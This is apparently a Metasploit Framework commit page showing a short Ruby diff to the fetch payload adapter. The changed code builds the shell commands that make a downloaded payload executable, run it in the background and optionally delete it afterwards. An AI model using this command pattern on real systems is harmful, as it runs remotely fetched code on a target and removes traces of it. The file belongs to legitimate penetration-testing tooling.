Skip to content

Commit 2faa33e

Browse files
committed
Fix bug in the way we are executing fetch payload when FETCH_DLETE is set to true
1 parent 2355ab5 commit 2faa33e

File tree

1 file changed

+6
-2
lines changed

1 file changed

+6
-2
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -203,8 +203,12 @@ def _execute_win
203203

204204
def _execute_nix
205205
cmds = "; chmod +x #{_remote_destination_nix}"
206-
cmds << "; #{_remote_destination_nix} &"
207-
cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
206+
if datastore['FETCH_DELETE']
207+
cmds << "; (#{_remote_destination_nix} &)"
208+
cmds << ";rm -rf #{_remote_destination_nix}"
209+
else
210+
cmds << "; #{_remote_destination_nix} &"
211+
end
208212
cmds
209213
end
210214

0 commit comments

Comments
 (0)